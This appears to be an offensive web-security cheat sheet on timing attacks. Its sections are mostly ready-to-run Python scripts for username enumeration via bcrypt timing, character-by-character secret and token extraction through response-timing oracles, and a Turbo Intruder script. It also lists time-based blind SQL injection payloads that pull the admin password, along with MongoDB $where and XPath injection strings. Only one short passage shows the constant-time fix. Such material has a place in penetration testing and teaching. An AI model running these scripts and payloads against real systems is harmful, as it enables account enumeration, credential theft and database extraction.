Web

Timing Attacks

Timing-based attacks: user enumeration via bcrypt/hash timing difference, data exfiltration via response timing oracle, blind injection confirmation via sleep, token comparison timing, and measurement methodology with Python and Burp.

What are Timing Attacks

Timing attacks exploit measurable differences in how long operations take depending on secret data. In web applications:

  • Valid username → expensive password hash comparison → longer response
  • Invalid username → early exit (no hash needed) → faster response
  • Correct token prefix → comparison loops longer → detectable timing difference

Even millisecond differences, when measured consistently, can leak binary information — enough to enumerate users, extract data, or confirm blind injections.


Attack 1: User Enumeration via bcrypt Timing

Why it works

When a login uses bcrypt:

if user_exists(username):
    bcrypt.check_password_hash(stored_hash, password)  # ~150-200ms
else:
    return "Invalid credentials"  # ~1ms

Valid username → bcrypt runs → ~180ms response. Invalid username → early exit → ~2ms response.

The delta (~178ms) is detectable even over a network.

Detection methodology

import requests, time

URL = "http://TARGET/login"
THRESHOLD = 0.15  # 150ms threshold

# Known valid usernames from other sources (e.g., registration error, profile URLs)
test_users = open('/usr/share/seclists/Usernames/xato-net-10-million-usernames-dup.txt').read().splitlines()[:500]

valid_users = []
for username in test_users:
    start = time.perf_counter()
    r = requests.post(URL, data={'username': username, 'password': 'wrongpassword_xyz'}, timeout=10)
    elapsed = time.perf_counter() - start

    if elapsed > THRESHOLD:
        valid_users.append((username, round(elapsed, 3)))
        print(f'[VALID] {username}: {elapsed:.3f}s')

print(f'\nFound {len(valid_users)} valid usernames')

Averaging for accuracy (reduce network jitter)

import requests, time, statistics

def measure_login(url, username, password, samples=5):
    times = []
    for _ in range(samples):
        start = time.perf_counter()
        requests.post(url, data={'username': username, 'password': password}, timeout=10)
        times.append(time.perf_counter() - start)
    return statistics.median(times)  # median reduces outlier impact

# Baseline: known invalid username
baseline = measure_login(URL, 'zzz_definitely_invalid_zzz_xyz', 'wrong')
print(f'Baseline (invalid): {baseline:.3f}s')

for user in test_users:
    t = measure_login(URL, user, 'wrong')
    if t > baseline * 2:  # 2x slower = likely valid
        print(f'[VALID] {user}: {t:.3f}s vs baseline {baseline:.3f}s')

Attack 2: Data Exfiltration via Response Timing

When a condition involving secret data is evaluated server-side and affects execution time:

# Vulnerable code
if secret_data.startswith(user_input):
    process_slowly()  # DB query, hash operation, or sleep

Extract a secret character by character

import requests, time

URL = "http://TARGET/verify"
known = ""
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"

while True:
    times = {}
    for char in charset:
        guess = known + char
        start = time.perf_counter()
        r = requests.post(URL, data={'token': guess})
        elapsed = time.perf_counter() - start
        times[char] = elapsed

    # Character that took the longest = likely correct
    best = max(times, key=times.get)
    if times[best] < (sum(times.values()) / len(times)) * 1.5:
        break  # No significant winner = end of data

    known += best
    print(f'Found: {known}')

print(f'Extracted: {known}')

Attack 3: Blind SQL Injection Confirmation via SLEEP

Use timing to confirm blind SQLi when no visible difference exists:

' AND IF(1=1, SLEEP(5), 0)-- -    ← 5s delay = condition TRUE
' AND IF(1=2, SLEEP(5), 0)-- -    ← instant = condition FALSE

In Burp Repeater, check the response time in the bottom right (X ms):

' AND IF((SELECT COUNT(*) FROM users)>0, SLEEP(5), 0)-- -

If response takes 5+ seconds → users table has rows.

Extract data with timing:

' AND IF(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a', SLEEP(3), 0)-- -
' AND IF(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='b', SLEEP(3), 0)-- -

Attack 4: Token Comparison Timing

Fixed-time vs non-constant-time comparison of tokens:

# Vulnerable: early-exit string comparison
if user_token == stored_token:  # returns False on first differing byte

# Safe: constant-time comparison
import hmac
if hmac.compare_digest(user_token, stored_token):

If the comparison is not constant-time, submitting tokens that share longer prefixes with the correct value will take slightly longer.

Automated token timing attack

import requests, time, statistics

URL = "http://TARGET/api/verify"
KNOWN_PREFIX = ""
charset = "0123456789abcdef"  # hex token charset

for pos in range(0, 32):  # 32-char hex token
    times = {}
    for c in charset:
        candidate = KNOWN_PREFIX + c + "0" * (31 - pos)
        samples = []
        for _ in range(10):
            start = time.perf_counter()
            requests.post(URL, json={"token": candidate})
            samples.append(time.perf_counter() - start)
        times[c] = statistics.median(samples)

    best = max(times, key=times.get)
    KNOWN_PREFIX += best
    print(f'Position {pos}: {best} → prefix so far: {KNOWN_PREFIX}')

Note: This requires very low latency (local network) — over the internet, jitter typically overwhelms the signal.


Attack 5: Time-Based Blind NoSQL Injection

MongoDB $where with sleep:

// Inject into username field
' || (function(){var d=new Date();while(new Date()-d<5000){}return true;})() || ''=='

If the response takes 5 seconds → $where JS execution confirmed.


Attack 6: LDAP / XPath Timing

Inject a computation-heavy expression to create a measurable delay:

' and substring(//users/user[1]/password/text(),1,1)='a' and (1=1 or '1'='

Measure if the response containing a correct character takes longer (more matching evaluations in the tree).


Burp Suite Timing Measurement

  1. In Repeater, responses show time in the bottom status bar (X ms).
  2. For automated timing: use Intruder → after the attack, click Columns → Response received and Response completed to show timing per request. Sort by response time.
  3. Turbo Intruder — high-precision timing for race conditions and timing attacks:
    def queueRequests(target, wordlists):
        engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=1, requestsPerConnection=1)
        for username in open('/path/to/usernames.txt'):
            engine.queue(target.req, username.strip())
    
    def handleResponse(req, interesting):
        if req.status == 200 and req.response.elapsed > 0.15:
            table.add(req)